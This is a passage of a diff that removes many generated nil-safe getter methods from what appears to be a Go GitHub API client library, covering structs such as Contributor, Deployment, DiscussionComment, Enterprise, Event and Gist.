GetStarredURL() string { - if c == nil || c.StarredURL == nil { - return "" - } - return *c.StarredURL -} - -// GetSubscriptionsURL returns the SubscriptionsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetSubscriptionsURL() string { - if c == nil || c.SubscriptionsURL == nil { - return "" - } - return *c.SubscriptionsURL -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (c *Contributor) GetType() string { - if c == nil || c.Type == nil { - return "" - } - return *c.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetAuthor returns the Author field. -func (c *ContributorStats) GetAuthor() *Contributor { - if c == nil { - return nil - } - return c.Author -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (c *ContributorStats) GetTotal() int { - if c == nil || c.Total == nil { - return 0 - } - return *c.Total -} - -// GetCompletedAt returns the CompletedAt field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetCompletedAt() Timestamp { - if c == nil || c.CompletedAt == nil { - return Timestamp{} - } - return *c.CompletedAt -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetConclusion() string { - if c == nil || c.Conclusion == nil { - return "" - } - return *c.Conclusion -} - -// GetDetailsURL returns the DetailsURL field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetDetailsURL() string { - if c == nil || c.DetailsURL == nil { - return "" - } - return *c.DetailsURL -} - -// GetExternalID returns the ExternalID field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetExternalID() string { - if c == nil || c.ExternalID == nil { - return "" - } - return *c.ExternalID -} - -// GetOutput returns the Output field. -func (c *CreateCheckRunOptions) GetOutput() *CheckRunOutput { - if c == nil { - return nil - } - return c.Output -} - -// GetStartedAt returns the StartedAt field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetStartedAt() Timestamp { - if c == nil || c.StartedAt == nil { - return Timestamp{} - } - return *c.StartedAt -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CreateCheckRunOptions) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetHeadBranch returns the HeadBranch field if it's non-nil, zero value otherwise. -func (c *CreateCheckSuiteOptions) GetHeadBranch() string { - if c == nil || c.HeadBranch == nil { - return "" - } - return *c.HeadBranch -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetDescription() string { - if c == nil || c.Description == nil { - return "" - } - return *c.Description -} - -// GetInstallation returns the Installation field. -func (c *CreateEvent) GetInstallation() *Installation { - if c == nil { - return nil - } - return c.Installation -} - -// GetMasterBranch returns the MasterBranch field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetMasterBranch() string { - if c == nil || c.MasterBranch == nil { - return "" - } - return *c.MasterBranch -} - -// GetPusherType returns the PusherType field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetPusherType() string { - if c == nil || c.PusherType == nil { - return "" - } - return *c.PusherType -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetRef() string { - if c == nil || c.Ref == nil { - return "" - } - return *c.Ref -} - -// GetRefType returns the RefType field if it's non-nil, zero value otherwise. -func (c *CreateEvent) GetRefType() string { - if c == nil || c.RefType == nil { - return "" - } - return *c.RefType -} - -// GetRepo returns the Repo field. -func (c *CreateEvent) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetSender returns the Sender field. -func (c *CreateEvent) GetSender() *User { - if c == nil { - return nil - } - return c.Sender -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (c *CreateOrgInvitationOptions) GetEmail() string { - if c == nil || c.Email == nil { - return "" - } - return *c.Email -} - -// GetInviteeID returns the InviteeID field if it's non-nil, zero value otherwise. -func (c *CreateOrgInvitationOptions) GetInviteeID() int64 { - if c == nil || c.InviteeID == nil { - return 0 - } - return *c.InviteeID -} - -// GetRole returns the Role field if it's non-nil, zero value otherwise. -func (c *CreateOrgInvitationOptions) GetRole() string { - if c == nil || c.Role == nil { - return "" - } - return *c.Role -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (c *CreateUserProjectOptions) GetBody() string { - if c == nil || c.Body == nil { - return "" - } - return *c.Body -} - -// GetInstallation returns the Installation field. -func (d *DeleteEvent) GetInstallation() *Installation { - if d == nil { - return nil - } - return d.Installation -} - -// GetPusherType returns the PusherType field if it's non-nil, zero value otherwise. -func (d *DeleteEvent) GetPusherType() string { - if d == nil || d.PusherType == nil { - return "" - } - return *d.PusherType -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (d *DeleteEvent) GetRef() string { - if d == nil || d.Ref == nil { - return "" - } - return *d.Ref -} - -// GetRefType returns the RefType field if it's non-nil, zero value otherwise. -func (d *DeleteEvent) GetRefType() string { - if d == nil || d.RefType == nil { - return "" - } - return *d.RefType -} - -// GetRepo returns the Repo field. -func (d *DeleteEvent) GetRepo() *Repository { - if d == nil { - return nil - } - return d.Repo -} - -// GetSender returns the Sender field. -func (d *DeleteEvent) GetSender() *User { - if d == nil { - return nil - } - return d.Sender -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (d *DeployKeyEvent) GetAction() string { - if d == nil || d.Action == nil { - return "" - } - return *d.Action -} - -// GetKey returns the Key field. -func (d *DeployKeyEvent) GetKey() *Key { - if d == nil { - return nil - } - return d.Key -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (d *Deployment) GetCreatedAt() Timestamp { - if d == nil || d.CreatedAt == nil { - return Timestamp{} - } - return *d.CreatedAt -} - -// GetCreator returns the Creator field. -func (d *Deployment) GetCreator() *User { - if d == nil { - return nil - } - return d.Creator -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (d *Deployment) GetDescription() string { - if d == nil || d.Description == nil { - return "" - } - return *d.Description -} - -// GetEnvironment returns the Environment field if it's non-nil, zero value otherwise. -func (d *Deployment) GetEnvironment() string { - if d == nil || d.Environment == nil { - return "" - } - return *d.Environment -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (d *Deployment) GetID() int64 { - if d == nil || d.ID == nil { - return 0 - } - return *d.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (d *Deployment) GetNodeID() string { - if d == nil || d.NodeID == nil { - return "" - } - return *d.NodeID -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (d *Deployment) GetRef() string { - if d == nil || d.Ref == nil { - return "" - } - return *d.Ref -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (d *Deployment) GetRepositoryURL() string { - if d == nil || d.RepositoryURL == nil { - return "" - } - return *d.RepositoryURL -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (d *Deployment) GetSHA() string { - if d == nil || d.SHA == nil { - return "" - } - return *d.SHA -} - -// GetStatusesURL returns the StatusesURL field if it's non-nil, zero value otherwise. -func (d *Deployment) GetStatusesURL() string { - if d == nil || d.StatusesURL == nil { - return "" - } - return *d.StatusesURL -} - -// GetTask returns the Task field if it's non-nil, zero value otherwise. -func (d *Deployment) GetTask() string { - if d == nil || d.Task == nil { - return "" - } - return *d.Task -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (d *Deployment) GetUpdatedAt() Timestamp { - if d == nil || d.UpdatedAt == nil { - return Timestamp{} - } - return *d.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (d *Deployment) GetURL() string { - if d == nil || d.URL == nil { - return "" - } - return *d.URL -} - -// GetDeployment returns the Deployment field. -func (d *DeploymentEvent) GetDeployment() *Deployment { - if d == nil { - return nil - } - return d.Deployment -} - -// GetInstallation returns the Installation field. -func (d *DeploymentEvent) GetInstallation() *Installation { - if d == nil { - return nil - } - return d.Installation -} - -// GetRepo returns the Repo field. -func (d *DeploymentEvent) GetRepo() *Repository { - if d == nil { - return nil - } - return d.Repo -} - -// GetSender returns the Sender field. -func (d *DeploymentEvent) GetSender() *User { - if d == nil { - return nil - } - return d.Sender -} - -// GetAutoMerge returns the AutoMerge field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetAutoMerge() bool { - if d == nil || d.AutoMerge == nil { - return false - } - return *d.AutoMerge -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetDescription() string { - if d == nil || d.Description == nil { - return "" - } - return *d.Description -} - -// GetEnvironment returns the Environment field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetEnvironment() string { - if d == nil || d.Environment == nil { - return "" - } - return *d.Environment -} - -// GetProductionEnvironment returns the ProductionEnvironment field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetProductionEnvironment() bool { - if d == nil || d.ProductionEnvironment == nil { - return false - } - return *d.ProductionEnvironment -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetRef() string { - if d == nil || d.Ref == nil { - return "" - } - return *d.Ref -} - -// GetRequiredContexts returns the RequiredContexts field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetRequiredContexts() []string { - if d == nil || d.RequiredContexts == nil { - return nil - } - return *d.RequiredContexts -} - -// GetTask returns the Task field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetTask() string { - if d == nil || d.Task == nil { - return "" - } - return *d.Task -} - -// GetTransientEnvironment returns the TransientEnvironment field if it's non-nil, zero value otherwise. -func (d *DeploymentRequest) GetTransientEnvironment() bool { - if d == nil || d.TransientEnvironment == nil { - return false - } - return *d.TransientEnvironment -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetCreatedAt() Timestamp { - if d == nil || d.CreatedAt == nil { - return Timestamp{} - } - return *d.CreatedAt -} - -// GetCreator returns the Creator field. -func (d *DeploymentStatus) GetCreator() *User { - if d == nil { - return nil - } - return d.Creator -} - -// GetDeploymentURL returns the DeploymentURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetDeploymentURL() string { - if d == nil || d.DeploymentURL == nil { - return "" - } - return *d.DeploymentURL -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetDescription() string { - if d == nil || d.Description == nil { - return "" - } - return *d.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetID() int64 { - if d == nil || d.ID == nil { - return 0 - } - return *d.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetNodeID() string { - if d == nil || d.NodeID == nil { - return "" - } - return *d.NodeID -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetRepositoryURL() string { - if d == nil || d.RepositoryURL == nil { - return "" - } - return *d.RepositoryURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetState() string { - if d == nil || d.State == nil { - return "" - } - return *d.State -} - -// GetTargetURL returns the TargetURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetTargetURL() string { - if d == nil || d.TargetURL == nil { - return "" - } - return *d.TargetURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (d *DeploymentStatus) GetUpdatedAt() Timestamp { - if d == nil || d.UpdatedAt == nil { - return Timestamp{} - } - return *d.UpdatedAt -} - -// GetDeployment returns the Deployment field. -func (d *DeploymentStatusEvent) GetDeployment() *Deployment { - if d == nil { - return nil - } - return d.Deployment -} - -// GetDeploymentStatus returns the DeploymentStatus field. -func (d *DeploymentStatusEvent) GetDeploymentStatus() *DeploymentStatus { - if d == nil { - return nil - } - return d.DeploymentStatus -} - -// GetInstallation returns the Installation field. -func (d *DeploymentStatusEvent) GetInstallation() *Installation { - if d == nil { - return nil - } - return d.Installation -} - -// GetRepo returns the Repo field. -func (d *DeploymentStatusEvent) GetRepo() *Repository { - if d == nil { - return nil - } - return d.Repo -} - -// GetSender returns the Sender field. -func (d *DeploymentStatusEvent) GetSender() *User { - if d == nil { - return nil - } - return d.Sender -} - -// GetAutoInactive returns the AutoInactive field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetAutoInactive() bool { - if d == nil || d.AutoInactive == nil { - return false - } - return *d.AutoInactive -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetDescription() string { - if d == nil || d.Description == nil { - return "" - } - return *d.Description -} - -// GetEnvironment returns the Environment field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetEnvironment() string { - if d == nil || d.Environment == nil { - return "" - } - return *d.Environment -} - -// GetEnvironmentURL returns the EnvironmentURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetEnvironmentURL() string { - if d == nil || d.EnvironmentURL == nil { - return "" - } - return *d.EnvironmentURL -} - -// GetLogURL returns the LogURL field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetLogURL() string { - if d == nil || d.LogURL == nil { - return "" - } - return *d.LogURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (d *DeploymentStatusRequest) GetState() string { - if d == nil || d.State == nil { - return "" - } - return *d.State -} - -// GetAuthor returns the Author field. -func (d *DiscussionComment) GetAuthor() *User { - if d == nil { - return nil - } - return d.Author -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetBody() string { - if d == nil || d.Body == nil { - return "" - } - return *d.Body -} - -// GetBodyHTML returns the BodyHTML field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetBodyHTML() string { - if d == nil || d.BodyHTML == nil { - return "" - } - return *d.BodyHTML -} - -// GetBodyVersion returns the BodyVersion field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetBodyVersion() string { - if d == nil || d.BodyVersion == nil { - return "" - } - return *d.BodyVersion -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetCreatedAt() Timestamp { - if d == nil || d.CreatedAt == nil { - return Timestamp{} - } - return *d.CreatedAt -} - -// GetDiscussionURL returns the DiscussionURL field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetDiscussionURL() string { - if d == nil || d.DiscussionURL == nil { - return "" - } - return *d.DiscussionURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetHTMLURL() string { - if d == nil || d.HTMLURL == nil { - return "" - } - return *d.HTMLURL -} - -// GetLastEditedAt returns the LastEditedAt field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetLastEditedAt() Timestamp { - if d == nil || d.LastEditedAt == nil { - return Timestamp{} - } - return *d.LastEditedAt -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetNodeID() string { - if d == nil || d.NodeID == nil { - return "" - } - return *d.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetNumber() int { - if d == nil || d.Number == nil { - return 0 - } - return *d.Number -} - -// GetReactions returns the Reactions field. -func (d *DiscussionComment) GetReactions() *Reactions { - if d == nil { - return nil - } - return d.Reactions -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetUpdatedAt() Timestamp { - if d == nil || d.UpdatedAt == nil { - return Timestamp{} - } - return *d.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (d *DiscussionComment) GetURL() string { - if d == nil || d.URL == nil { - return "" - } - return *d.URL -} - -// GetTeams returns the Teams field if it's non-nil, zero value otherwise. -func (d *DismissalRestrictionsRequest) GetTeams() []string { - if d == nil || d.Teams == nil { - return nil - } - return *d.Teams -} - -// GetUsers returns the Users field if it's non-nil, zero value otherwise. -func (d *DismissalRestrictionsRequest) GetUsers() []string { - if d == nil || d.Users == nil { - return nil - } - return *d.Users -} - -// GetDismissalCommitID returns the DismissalCommitID field if it's non-nil, zero value otherwise. -func (d *DismissedReview) GetDismissalCommitID() string { - if d == nil || d.DismissalCommitID == nil { - return "" - } - return *d.DismissalCommitID -} - -// GetDismissalMessage returns the DismissalMessage field if it's non-nil, zero value otherwise. -func (d *DismissedReview) GetDismissalMessage() string { - if d == nil || d.DismissalMessage == nil { - return "" - } - return *d.DismissalMessage -} - -// GetReviewID returns the ReviewID field if it's non-nil, zero value otherwise. -func (d *DismissedReview) GetReviewID() int64 { - if d == nil || d.ReviewID == nil { - return 0 - } - return *d.ReviewID -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (d *DismissedReview) GetState() string { - if d == nil || d.State == nil { - return "" - } - return *d.State -} - -// GetClientPayload returns the ClientPayload field if it's non-nil, zero value otherwise. -func (d *DispatchRequestOptions) GetClientPayload() json.RawMessage { - if d == nil || d.ClientPayload == nil { - return json.RawMessage{} - } - return *d.ClientPayload -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (d *DraftReviewComment) GetBody() string { - if d == nil || d.Body == nil { - return "" - } - return *d.Body -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (d *DraftReviewComment) GetPath() string { - if d == nil || d.Path == nil { - return "" - } - return *d.Path -} - -// GetPosition returns the Position field if it's non-nil, zero value otherwise. -func (d *DraftReviewComment) GetPosition() int { - if d == nil || d.Position == nil { - return 0 - } - return *d.Position -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetAvatarURL() string { - if e == nil || e.AvatarURL == nil { - return "" - } - return *e.AvatarURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetCreatedAt() Timestamp { - if e == nil || e.CreatedAt == nil { - return Timestamp{} - } - return *e.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetDescription() string { - if e == nil || e.Description == nil { - return "" - } - return *e.Description -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetHTMLURL() string { - if e == nil || e.HTMLURL == nil { - return "" - } - return *e.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetID() int { - if e == nil || e.ID == nil { - return 0 - } - return *e.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetName() string { - if e == nil || e.Name == nil { - return "" - } - return *e.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetNodeID() string { - if e == nil || e.NodeID == nil { - return "" - } - return *e.NodeID -} - -// GetSlug returns the Slug field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetSlug() string { - if e == nil || e.Slug == nil { - return "" - } - return *e.Slug -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetUpdatedAt() Timestamp { - if e == nil || e.UpdatedAt == nil { - return Timestamp{} - } - return *e.UpdatedAt -} - -// GetWebsiteURL returns the WebsiteURL field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetWebsiteURL() string { - if e == nil || e.WebsiteURL == nil { - return "" - } - return *e.WebsiteURL -} - -// GetActor returns the Actor field. -func (e *Event) GetActor() *User { - if e == nil { - return nil - } - return e.Actor -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (e *Event) GetCreatedAt() time.Time { - if e == nil || e.CreatedAt == nil { - return time.Time{} - } - return *e.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (e *Event) GetID() string { - if e == nil || e.ID == nil { - return "" - } - return *e.ID -} - -// GetOrg returns the Org field. -func (e *Event) GetOrg() *Organization { - if e == nil { - return nil - } - return e.Org -} - -// GetPublic returns the Public field if it's non-nil, zero value otherwise. -func (e *Event) GetPublic() bool { - if e == nil || e.Public == nil { - return false - } - return *e.Public -} - -// GetRawPayload returns the RawPayload field if it's non-nil, zero value otherwise. -func (e *Event) GetRawPayload() json.RawMessage { - if e == nil || e.RawPayload == nil { - return json.RawMessage{} - } - return *e.RawPayload -} - -// GetRepo returns the Repo field. -func (e *Event) GetRepo() *Repository { - if e == nil { - return nil - } - return e.Repo -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (e *Event) GetType() string { - if e == nil || e.Type == nil { - return "" - } - return *e.Type -} - -// GetHRef returns the HRef field if it's non-nil, zero value otherwise. -func (f *FeedLink) GetHRef() string { - if f == nil || f.HRef == nil { - return "" - } - return *f.HRef -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (f *FeedLink) GetType() string { - if f == nil || f.Type == nil { - return "" - } - return *f.Type -} - -// GetCurrentUserActorURL returns the CurrentUserActorURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetCurrentUserActorURL() string { - if f == nil || f.CurrentUserActorURL == nil { - return "" - } - return *f.CurrentUserActorURL -} - -// GetCurrentUserOrganizationURL returns the CurrentUserOrganizationURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetCurrentUserOrganizationURL() string { - if f == nil || f.CurrentUserOrganizationURL == nil { - return "" - } - return *f.CurrentUserOrganizationURL -} - -// GetCurrentUserPublicURL returns the CurrentUserPublicURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetCurrentUserPublicURL() string { - if f == nil || f.CurrentUserPublicURL == nil { - return "" - } - return *f.CurrentUserPublicURL -} - -// GetCurrentUserURL returns the CurrentUserURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetCurrentUserURL() string { - if f == nil || f.CurrentUserURL == nil { - return "" - } - return *f.CurrentUserURL -} - -// GetTimelineURL returns the TimelineURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetTimelineURL() string { - if f == nil || f.TimelineURL == nil { - return "" - } - return *f.TimelineURL -} - -// GetUserURL returns the UserURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetUserURL() string { - if f == nil || f.UserURL == nil { - return "" - } - return *f.UserURL -} - -// GetForkee returns the Forkee field. -func (f *ForkEvent) GetForkee() *Repository { - if f == nil { - return nil - } - return f.Forkee -} - -// GetInstallation returns the Installation field. -func (f *ForkEvent) GetInstallation() *Installation { - if f == nil { - return nil - } - return f.Installation -} - -// GetRepo returns the Repo field. -func (f *ForkEvent) GetRepo() *Repository { - if f == nil { - return nil - } - return f.Repo -} - -// GetSender returns the Sender field. -func (f *ForkEvent) GetSender() *User { - if f == nil { - return nil - } - return f.Sender -} - -// GetComments returns the Comments field if it's non-nil, zero value otherwise. -func (g *Gist) GetComments() int { - if g == nil || g.Comments == nil { - return 0 - } - return *g.Comments -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *Gist) GetCreatedAt() time.Time { - if g == nil || g.CreatedAt == nil { - return time.Time{} - } - return *g.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (g *Gist) GetDescription() string { - if g == nil || g.Description == nil { - return "" - } - return *g.Description -} - -// GetGitPullURL returns the GitPullURL field if it's non-nil, zero value otherwise. -func (g *Gist) GetGitPullURL() string { - if g == nil || g.GitPullURL == nil { - return "" - } - return *g.GitPullURL -} - -// GetGitPushURL returns the GitPushURL field if it's non-nil, zero value otherwise. -func (g *Gist) GetGitPushURL() string { - if g == nil || g.GitPushURL == nil { - return "" - } - return *g.GitPushURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (g *Gist) GetHTMLURL() string { - if g == nil || g.HTMLURL == nil { - return "" - } - return *g.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *Gist) GetID() string { - if g == nil || g.ID == nil { - return "" - } - return *g.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (g *Gist) GetNodeID() string { - if g == nil || g.NodeID == nil { - return "" - } - return *g.NodeID -} - -// GetOwner returns the Owner field. -func (g *Gist) GetOwner() *User { - if g == nil { - return nil - } - return g.Owner -} - -// GetPublic returns the Public field if it's non-nil, zero value otherwise. -func (g *Gist) GetPublic() bool { - if g == nil || g.Public == nil { - return false - } - return *g.Public -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (g *Gist) GetUpdatedAt() time.Time { - if g == nil || g.UpdatedAt == nil { - return time.Time{} - } - return *g.UpdatedAt -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (g *GistComment) GetBody() string { - if g == nil || g.Body == nil { - return "" - } - return *g.Body -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *GistComment) GetCreatedAt() time.Time { - if g == nil || g.CreatedAt == nil { - return time.Time{} - } - return *g.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GistComment) GetID() int64 { - if g == nil || g.ID == nil { - return 0 - } - return *g.ID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GistComment) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetUser returns the User field. -func (g *GistComment) GetUser() *User { - if g == nil { - return nil - } - return g.User -} - -// GetChangeStatus returns the ChangeStatus field. -func (g *GistCommit) GetChangeStatus() *CommitStats { - if g == nil { - return nil - } - return g.ChangeStatus -} - -// GetCommittedAt returns the CommittedAt field if it's non-nil, zero value otherwise. -func (g *GistCommit) GetCommittedAt() Timestamp { - if g == nil || g.CommittedAt == nil { - return Timestamp{} - } - return *g.CommittedAt -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (g *GistCommit) GetNodeID() string { - if g == nil || g.NodeID == nil { - return "" - } - return *g.NodeID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GistCommit) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetUser returns the User field. -func (g *GistCommit) GetUser() *User { - if g == nil { - return nil - } - return g.User -} - -// GetVersion returns the Version field if it's non-nil, zero value otherwise. -func (g *GistCommit) GetVersion() string { - if g == nil || g.Version == nil { - return "" - } - return *g.Version -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (g *GistFile) GetContent() string { - if g == nil || g.Content == nil { - return "" - } - return *g.Content -} - -// GetFilename returns the Filename field if it's non-nil, zero value otherwise. -func (g *GistFile) GetFilename() string { - if g == nil || g.Filename == nil { - return "" - } - return *g.Filename -} - -// GetLanguage returns the Language field if it's non-nil, zero value otherwise. -func (g *GistFile) GetLanguage() string { - if g == nil || g.Language == nil { - return "" - } - return *g.Language -} - -// GetRawURL returns the RawURL field if it's non-nil, zero value otherwise. -func (g *GistFile) GetRawURL() string { - if g == nil || g.RawURL == nil { - return "" - } - return *g.RawURL -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (g *GistFile) GetSize() int { - if g == nil || g.Size == nil { - return 0 - } - return *g.Size -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (g *GistFile) GetType() string { - if g == nil || g.Type == nil { - return "" - } - return *g.Type -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *GistFork) GetCreatedAt() Timestamp { - if g == nil || g.CreatedAt == nil { - return Timestamp{} - } - return *g.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GistFork) GetID() string { - if g == nil || g.ID == nil { - return "" - } - return *g.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (g *GistFork) GetNodeID() string { - if g == nil || g.NodeID == nil { - return "" - } - return *g.NodeID -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (g *GistFork) GetUpdatedAt() Timestamp { - if g == nil || g.UpdatedAt == nil { - return Timestamp{} - } - return *g.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GistFork) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetUser returns the User field. -func (g *GistFork) GetUser() *User { - if g == nil { - return nil - } - return g.User -} - -// GetPrivateGists returns the PrivateGists field if it's non-nil, zero value otherwise. -func (g *GistStats) GetPrivateGists() int { - if g == nil || g.PrivateGists == nil { - return 0 - } - return *g.PrivateGists -} - -// GetPublicGists returns the PublicGists field if it's non-nil, zero value otherwise. -func (g *GistStats) GetPublicGists() int { - if g == nil || g.PublicGists == nil { - return 0 - } - return *g.PublicGists -} - -// GetTotalGists returns the TotalGists field if it's non-nil, zero value otherwise. -func (g *GistStats) GetTotalGists() int { - if g == nil || g.TotalGists == nil { - return 0 - } - return *g.TotalGists -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (g *GitHubAppAuthorizationEvent) GetAction() string { - if g == nil || g.Action == nil { - return "" - } - return *g.Action -} - -// GetSender returns the Sender field. -func (g *GitHubAppAuthorizationEvent) GetSender() *User { - if g == nil { - return nil - } - return g.Sender -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (g *Gitignore) GetName() string { - if g == nil || g.Name == nil { - return "" - } - return *g.Name -} - -// GetSource returns the Source field if it's non-nil, zero value otherwise. -func (g *Gitignore) GetSource() string { - if g == nil || g.Source == nil { - return "" - } - return *g.Source -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (g *GitObject) GetSHA() string { - if g == nil || g.SHA == nil { - return "" - } - return *g.SHA -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (g *GitObject) GetType() string { - if g == nil || g.Type == nil { - return "" - } - return *g.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitObject) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetInstallation returns 